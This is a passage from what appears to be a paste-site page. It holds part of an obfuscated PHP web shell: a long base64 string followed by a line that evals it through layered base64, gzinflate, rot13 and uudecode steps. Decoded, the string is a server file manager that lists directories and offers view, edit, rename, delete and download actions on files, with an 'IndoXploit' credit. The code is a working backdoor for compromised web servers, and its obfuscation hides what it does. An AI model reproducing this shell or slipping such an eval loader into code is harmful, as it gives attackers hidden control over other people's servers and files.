PHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii4kZGlyLiInOzwvc2NyaXB0PiI7DQoJCX0gZWxzZSB7DQoJCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5wZXJtaXNzaW9uIGRlbmllZDwvZm9udD4iOw0KCQl9DQoJZWNobyAiIi4kYWN0LiI8YnI+IjsNCgl9DQoJZWNobyAiRmlsZW5hbWU6IDxmb250IGNvbG9yPWxpbWU+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZSddKS4iPC9mb250PiBbIDxhIGhyZWY9Jz9hY3Q9dmlldyZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz52aWV3PC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1lZGl0JmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmVkaXQ8L2E+IF0gWyA8YSBocmVmPSc/YWN0PXJlbmFtZSZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz48Yj5yZW5hbWU8L2I+PC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1kb3dubG9hZCZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5kb3dubG9hZDwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZGVsZXRlJmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmRlbGV0ZTwvYT4gXTxicj4iOw0KCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmJhc2VuYW1lKCRfR0VUWydmaWxlJ10pLiInIG5hbWU9J3JlbmFtZScgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2RvX3JlbmFtZScgdmFsdWU9J3JlbmFtZSc+DQoJPC9mb3JtPiI7DQp9IGVsc2VpZigkX0dFVFsnYWN0J10gPT0gJ2RlbGV0ZScpIHsNCgkkZGVsZXRlID0gdW5saW5rKCRfR0VUWydmaWxlJ10pOw0KCWlmKCRkZWxldGUpIHsNCgkJJGFjdCA9ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP2Rpcj0iLiRkaXIuIic7PC9zY3JpcHQ+IjsNCgl9IGVsc2Ugew0KCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5wZXJtaXNzaW9uIGRlbmllZDwvZm9udD4iOw0KCX0NCgllY2hvICRhY3Q7DQp9IGVsc2Ugew0KCWlmKGlzX2RpcigkZGlyKSA9PT0gdHJ1ZSkgew0KCQlpZighaXNfcmVhZGFibGUoJGRpcikpIHsNCgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZD5jYW4ndCBvcGVuIGRpcmVjdG9yeS4gKCBub3QgcmVhZGFibGUgKTwvZm9udD4iOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAnPHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KCQkJPHRyPg0KCQkJPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPk5hbWU8L2NlbnRlcj48L3RoPg0KCQkJPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPlR5cGU8L2NlbnRlcj48L3RoPg0KCQkJPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPlNpemU8L2NlbnRlcj48L3RoPg0KCQkJPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPkxhc3QgTW9kaWZpZWQ8L2NlbnRlcj48L3RoPg0KCQkJPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPk93bmVyL0dyb3VwPC9jZW50ZXI+PC90aD4NCgkJCTx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5QZXJtaXNzaW9uPC9jZW50ZXI+PC90aD4NCgkJCTx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5BY3Rpb248L2NlbnRlcj48L3RoPg0KCQkJPC90cj4nOw0KCQkJJHNjYW5kaXIgPSBzY2FuZGlyKCRkaXIpOw0KCQkJZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyeCkgew0KCQkJCSRkdHlwZSA9IGZpbGV0eXBlKCIkZGlyLyRkaXJ4Iik7DQoJCQkJJGR0aW1lID0gZGF0ZSgiRiBkIFkgZzppOnMiLCBmaWxlbXRpbWUoIiRkaXIvJGRpcngiKSk7DQoJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCQkJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkZGlyLyRkaXJ4IikpOw0KCQkJCQkkZG93bmVyID0gJGRvd25lclsnbmFtZSddOw0KCQkJCX0gZWxzZSB7DQoJCQkJCS8vJGRvd25lciA9ICR1aWQ7DQoJCQkJCSRkb3duZXIgPSBmaWxlb3duZXIoIiRkaXIvJGRpcngiKTsNCgkJCQl9DQoJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7DQoJCQkJCSRkZ3JwID0gQHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgiJGRpci8kZGlyeCIpKTsNCgkJCQkJJGRncnAgPSAkZGdycFsnbmFtZSddOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRkZ3JwID0gZmlsZWdyb3VwKCIkZGlyLyRkaXJ4Iik7DQoJCQkJfQ0KIAkJCQlpZighaXNfZGlyKCIkZGlyLyRkaXJ4IikpIGNvbnRpbnVlOw0KIAkJCQlpZigkZGlyeCA9PT0gJy4uJykgew0KIAkJCQkJJGhyZWYgPSAiPGEgaHJlZj0nP2Rpcj0iLmRpcm5hbWUoJGRpcikuIic+JGRpcng8L2E+IjsNCiAJCQkJfSBlbHNlaWYoJGRpcnggPT09ICcuJykgew0KIAkJCQkJJGhyZWYgPSAiPGEgaHJlZj0nP2Rpcj0kZGlyJz4kZGlyeDwvYT4iOw0KIAkJCQl9IGVsc2Ugew0KIAkJCQkJJGhyZWYgPSAiPGEgaHJlZj0nP2Rpcj0kZGlyLyRkaXJ4Jz4kZGlyeDwvYT4iOw0KIAkJCQl9DQogCQkJCWlmKCRkaXJ4ID09PSAnLicgfHwgJGRpcnggPT09ICcuLicpIHsNCiAJCQkJCSRhY3RfZGlyID0gIjxhIGhyZWY9Jz9hY3Q9bmV3ZmlsZSZkaXI9JGRpcic+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPSc/YWN0PW5ld2ZvbGRlciZkaXI9JGRpcic+bmV3Zm9sZGVyPC9hPiI7DQogCQkJCQl9IGVsc2Ugew0KIAkJCQkJJGFjdF9kaXIgPSAiPGEgaHJlZj0nP2FjdD1yZW5hbWVfZGlyJmRpcj0kZGlyLyRkaXJ4Jz5yZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2FjdD1kZWxldGVfZGlyJmRpcj0kZGlyLyRkaXJ4Jz5kZWxldGU8L2E+IjsNCiAJCQkJfQ0KIAkJCQllY2hvICI8dHI+IjsNCiAJCQkJZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJz48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LFIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVRBQkFBQUFSUkVNbEpxNzA0NnlwNkJ4c2lIRVZCRUFLWUNVUHJEcDdIbFhSZEVvTXFDZWJwIi4iLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0nPiRocmVmPC90ZD4iOw0KCQkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4kZHR5cGU8L2NlbnRlcj48L3RkPiI7DQoJCQkJZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJz48Y2VudGVyPi08L2NlbnRlcj48L3RoPjwvdGQ+IjsNCgkJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+JGR0aW1lPC9jZW50ZXI+PC90ZD4iOw0KCQkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4kZG93bmVyLyRkZ3JwPC9jZW50ZXI+PC90ZD4iOw0KCQkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4iLncoIiRkaXIvJGRpcngiLHBlcm1zKCIkZGlyLyRkaXJ4IikpLiI8L2NlbnRlcj48L3RkPiI7DQoJCQkJZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJyBzdHlsZT0ncGFkZGluZy1sZWZ0OiAxNXB4Oyc+JGFjdF9kaXI8L3RkPiI7DQoJCQkJZWNobyAiPC90cj4iOw0KCQkJfQ0KCQl9DQoJfSBlbHNlIHsNCgkJZWNobyAiPGZvbnQgY29sb3I9cmVkPmNhbid0IG9wZW4gZGlyZWN0b3J5LjwvZm9udD4iOw0KCX0NCgkJZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSkgew0KCQkJJGZ0eXBlID0gZmlsZXR5cGUoIiRkaXIvJGZpbGUiKTsNCgkJCSRmdGltZSA9IGRhdGUoIkYgZCBZIGc6aTpzIiwgZmlsZW10aW1lKCIkZGlyLyRmaWxlIikpOw0KCQkJJHNpemUgPSBmaWxlc2l6ZSgiJGRpci8kZmlsZSIpLzEwMjQ7DQoJCQkkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOw0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCQkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRkaXIvJGZpbGUiKSk7DQoJCQkJJGZvd25lciA9ICRmb3duZXJbJ25hbWUnXTsNCgkJCX0gZWxzZSB7DQoJCQkJLy8kZG93bmVyID0gJHVpZDsNCgkJCQkkZm93bmVyID0gZmlsZW93bmVyKCIkZGlyLyRmaWxlIik7DQoJCQl9DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsNCgkJCQkkZmdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRkaXIvJGZpbGUiKSk7DQoJCQkJJGZncnAgPSAkZmdycFsnbmFtZSddOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmdycCA9IGZpbGVncm91cCgiJGRpci8kZmlsZSIpOw0KCQkJfQ0KCQkJaWYoJHNpemUgPiAxMDI0KSB7DQoJCQkJJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLiAnTUInOw0KCQkJfSBlbHNlIHsNCgkJCQkkc2l6ZSA9ICRzaXplLiAnS0InOw0KCQkJfQ0KCQkJaWYoIWlzX2ZpbGUoIiRkaXIvJGZpbGUiKSkgY29udGludWU7DQoJCQllY2hvICI8dHI+IjsNCgkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+PGEgaHJlZj0nP2FjdD12aWV3JmRpcj0kZGlyJmZpbGU9JGRpci8kZmlsZSc+JGZpbGU8L2E+PC90ZD4iOw0KCQkJZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJz48Y2VudGVyPiRmdHlwZTwvY2VudGVyPjwvdGQ+IjsNCgkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4kc2l6ZTwvY2VudGVyPjwvdGQ+IjsNCgkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4kZnRpbWU8L2NlbnRlcj48L3RkPiI7DQoJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+JGZvd25lci8kZmdycDwvY2VudGVyPjwvdGQ+IjsNCgkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4iLncoIiRkaXIvJGZpbGUiLHBlcm1zKCIkZGlyLyRmaWxlIikpLiI8L2NlbnRlcj48L3RkPiI7DQoJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnIHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDE1cHg7Jz48YSBocmVmPSc/YWN0PWVkaXQmZGlyPSRkaXImZmlsZT0kZGlyLyRmaWxlJz5lZGl0PC9hPiB8IDxhIGhyZWY9Jz9hY3Q9cmVuYW1lJmRpcj0kZGlyJmZpbGU9JGRpci8kZmlsZSc+cmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hY3Q9ZGVsZXRlJmRpcj0kZGlyJmZpbGU9JGRpci8kZmlsZSc+ZGVsZXRlPC9hPiB8IDxhIGhyZWY9Jz9hY3Q9ZG93bmxvYWQmZGlyPSRkaXImZmlsZT0kZGlyLyRmaWxlJz5kb3dubG9hZDwvYT48L3RkPiI7DQoJCQllY2hvICI8L3RyPiI7DQoJCX0NCgkJZWNobyAiPC90YWJsZT4iOw0KCQlpZighaXNfcmVhZGFibGUoJGRpcikpIHsNCgkJCS8vDQoJCX0gZWxzZSB7DQoJCQllY2hvICI8aHI+IjsNCgkJfQ0KCWVjaG8gIjxjZW50ZXI+Q29weXJpZ2h0ICZjb3B5OyAiLmRhdGUoIlkiKS4iIC0gPGEgaHJlZj0naHR0cDovL2luZG94cGxvaXQub3IuaWQvJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY29sb3I9bGltZT5JbmRvWHBsb2l0PC9mb250PjwvYT48L2NlbnRlcj4iOw0KfQ0KPz4NCjwvaHRtbD4=';
  4. eval(base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($l0lz666h05t))))))));
Advertisement
Add Comment
Please, Sign In to add comment